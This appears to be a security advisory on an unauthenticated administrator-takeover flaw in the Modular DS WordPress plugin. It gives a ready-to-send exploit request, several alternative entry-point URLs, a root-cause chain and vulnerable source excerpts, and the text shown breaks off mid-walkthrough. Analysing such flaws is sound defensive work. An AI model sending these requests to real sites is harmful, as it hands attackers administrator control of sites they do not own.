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📌 TL;DR

Modular DS (modular-connector) is a WordPress site-management plugin with 40,000+ active installs. Versions ≤ 2.5.1 contain a chain of five compounding defects that allow any unauthenticated attacker to bypass authentication, invoke the plugin's internal login endpoint, and receive a wordpress_logged_in_* session cookie for the first administrator account — with a single HTTP GET request.

GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Result: full administrator takeover. Attacker can install malicious plugins, drop webshells, create backup admin accounts, exfiltrate database.

📖 Table of Contents

• Affected Versions
• Attack Surface
• Root Cause Analysis
• Source Code Walkthrough
• Patch Diff (2.5.1 → 2.5.2)
• Proof of Concept
• Detection & Remediation
• Timeline
• References
• Disclaimer

🎯 Affected Versions

🎯 Attack Surface

The vulnerability triggers a custom Laravel-derived router embedded in the plugin. The plugin ships its own HTTP kernel (Ares/Framework) that hooks into WordPress's parse_request action to hijack requests before WordPress's own routing takes over.

Prerequisites: none (plugin installed & active, connected to Modular SaaS — default for all live installations).

Entry points (any single one is sufficient):

/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>

🚩 Root Cause Analysis

The vulnerability is not a single flaw — it is a chain of five compounding defects. Each layer, viewed in isolation, may seem defensible; combined, they collapse into a pre-authentication admin takeover.

flowchart TB
    A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
    B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
    C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
    D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
    E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Defect Summary

🔬 Source Code Walkthrough

public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ query-param only, no signature
    }
    return false;
}

protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL resolved to route BEFORE filter runs
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));